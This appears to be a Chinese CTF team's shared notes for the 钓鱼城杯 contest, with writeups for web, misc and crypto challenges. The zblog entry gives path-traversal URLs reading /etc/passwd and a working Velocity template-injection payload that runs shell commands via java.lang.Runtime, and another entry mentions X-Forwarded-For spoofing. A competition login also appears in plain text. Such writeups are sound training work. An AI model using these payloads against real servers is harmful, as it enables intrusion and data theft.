---
# System prepended metadata

title: S3C钓鱼城杯

---

# S3C钓鱼城杯
[TOC]
## 如何使用本文档
### 题目状态：
OPEN - 正在试图解这道题
CLOSED - 这道题还没有打开
SOLVED - 解决了！鼓掌
不要只顾一人做题，不看文档，不写文档
解一道题，不管这题是否解出，请把你的名字加入到Working列表8
如果你卡住了，或者解出这题，请先把writeup或者目前的进展写到文档里再做下一题，如果是解出了，请在写完WriteUp后贴出flag，并且更新题目状态，更新之后请刷新页面最上方的目录
题目格式：题目名称 | 题目状态 | working : xxx（这里用标题2，大类用标题）“”
 
如果你是做已经解决的题目，建议先自己尝试，直到做不出来才看看别人的思路，如果你有别的方法，同样把WriteUp写在文档里，格式与上相同
比赛需要的是团队合作，请看重文档工作，从第一次合作开始就遵守规则，做完一题就做一个总结，这对大家都有帮助
比赛结束，如果有些题在比赛中只写的简单的WriteUp写在，可以花时间补充完善，写WriteUp对个人的帮助都比较大，其次也方便后期整理

赛事信息
钓鱼城杯:
竞赛网站地址：https://dycb.xctf.org.cn
开始时间:8月27 周四 09:00
结束时间:8月27 周四 21:00
大赛联系方式：大赛QQ群：1137625331
账号： 17696100266
R9p632

赛前打卡(填ID): dkk、dw、gy、clq、cqr、yjj
![](https://i.imgur.com/zkglbLJ.png)

## Web
### gamebox ｜ OPEN ｜dkk
view-source:http://122.112.218.163:10080/?f=/usr/local/etc/php/php.ini
发现有 FileReader.so 
下载
http://122.112.218.163:10080/?f=/usr/local/lib/php/extensions/no-debug-non-zts-20170718/FileReader.so

### zblog | SOLVED |dkk
任意文件读取
http://122.112.253.135/?title=../../../../../../../etc/passwd

http://122.112.253.135/?title=../../../../../../../proc/self/cmdline
![](https://i.imgur.com/DTV7FLn.png)

view-source:http://122.112.253.135/?title=../../../../../../../home/ctf/web/pom.xml

![](https://i.imgur.com/FTy12lg.png)

读到源码
http://122.112.253.135/?title=../../../../../../../home/ctf/web/src/main/java/Blog.java

有模版注入 参考 https://www.cnblogs.com/yuzly/p/11782608.html

![](https://i.imgur.com/Fd8ocyR.png)

```
http://121.36.166.117/?title=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat /flag_1s_s000e4syyy223%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
```
![](https://i.imgur.com/o3JjQKG.png)


### easyseed | SOLVED | gy、dkk

开锁小游戏
![](https://i.imgur.com/nkuO5ey.png)

lock=vEUHaY
key=Infer+the+key+from+the+lock

有源码泄露 http://122.112.252.28:20001/index.bak 

php伪随机数爆破

参考 https://blog.csdn.net/qq_45521281/article/details/107302795

```php
<?php
mt_srand(718225);  //
$lock = random(6, 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');
$key = random(16, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');
function random($length, $chars = '0123456789ABC') {
    $hash = '';
    $max = strlen($chars) - 1;
    for($i = 0; $i < $length; $i++) {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}
var_dump($lock);
var_dump($key);
```
得到的$key不对 不清楚哪里出问题了 可能是php版本 但是lock爆出来都一样
![](https://i.imgur.com/5B2JWJH.png)

![](https://i.imgur.com/QqrFJeg.png)
👴吐了 改xff头 拿flag
### easyweb | SOLVED | dkk、gy
![](https://i.imgur.com/Zqct8Uf.png)
命令盲注 无回显 
![](https://i.imgur.com/KPUpRHG.png)
交给师傅们了


## RE 
### reg 
![](https://i.imgur.com/XpzZ9nU.png)
不懂

## Pwn
## Misc
### whitespace | SLOVED | cqr
把文本中的长空格替换成1，短空格替换成0，再二进制转字符
flag{nyrdXZESDMz1l5N8837AYZb7STPHCveg}

### 签到 ｜ SOLVED ｜ 

### whitespace | SOLVED | gy

whitespace语言

空白解码器：https://vii5ard.github.io/whitespace/

flag{nyrdXZESDMz1l5N8837AYZb7STPHCveg}

### 张三的恶行 ｜ OPEN ｜ yjj





### 量子加密 | OPEN | gy

~~正在爆破~~
~~去他丫的就是个伪加密压缩包~~

我错了还真是个加密压缩包
不爆了，自暴吧



## Cry
### confused_flag｜SOLVED｜dkk、gy

7-8-fe9bdf5a7ed3}fee6;1199;gdd;-;;6-b;e298fa{b0l

每次都不一样 估计爆破

写脚本ing
```python
import os
shell = "nc 119.3.45.222 9999"
f = "lucky.txt"
for i in range(100):
    a =os.popen(shell).read()
    with open("test.txt","a") as f:
        f.write(a)
```

![](https://i.imgur.com/ZeVdXdv.png)
flag{b09dfe78-df9e-36dd-89a1-b7efb2e19e65}

```python
import os 
while (1):
	i=os.popen("nc 119.3.45.222 9999 >> 1.txt")
	print (i)
```
flag{b09dfe78-df9e-36dd-89a1-b7efb2e19e65}




### strictmathematician | OPEN | gy
基本要求：MD5的0e截断

题目要输入字符串+每次刷新的随机值进行sha256加密，然后再16位MD5加密，结果必须为000000000000，所以要MD5开头为0e

题目上新了源码，确实如上，但不会解




### crypto0 | OPEN | gy

来个人收了这个吧

n = 18267477765452213037122212636611100978638799006144336365154876695918744016502452629498063848853403623956165200340974852361604884676510535992040751122133494130757957746075539931399072780455922732584885142963986965706985456511918891117691658590666783825176592053691556279833338856022283312952803584296267164528438450116290490531494980285177622407332875024342364338023119429462091725366144766384067149095181108329436152159257490497949860044584094377377375659432835367089912783269916817682312233708223450469366363338450368397183177639491194859936460034718883888898444982577867044174583498391799299864289901458776256206463
67d886de1154b448fabde6d959881de842bf8b61dfd6a76a809b750f72231d2d325e6ab946ef4eed376cad17f735e5d1a6895dcc288f99ffbacfb7a19edd45fee4fe459fd275f07e7b73b121e2a6062aa7c9671bfeac77be005ed501d5ed9e5e82f21b92ff3e397d7df61be92ba4dbce573ad906bcb636ff2378658bc826d2d208de704763bd6d611270d82d5943bc16cfe1a50a77d184cb16c319ba370800d4e15da3821456b4e0c7133a33c1994d9e61f316e5bafe2bb803f9a2cf62c96f8dfff057f1261cc38a74192d2ae3a2a3f398577cdcf6791e97291af7454ae00407715606f77ca49a21cf8a7bc7af4d3cd0cdc926b62dc30d2734947df3c5f3da63

确认不是RSA

输入一串16进制码会进行某种加密，返回加密结果

n会不断变化


确认是AES加密

确认过程：nc连上后选hint，给n和加密的字符串

        p = number.getPrime(1024)
        q = number.getPrime(1024)
        n = p * q
        
然后给出hint为pow(flag+padding, 3, n)的十六进制
padding = os.urandom(160)


算了不写了时间到了

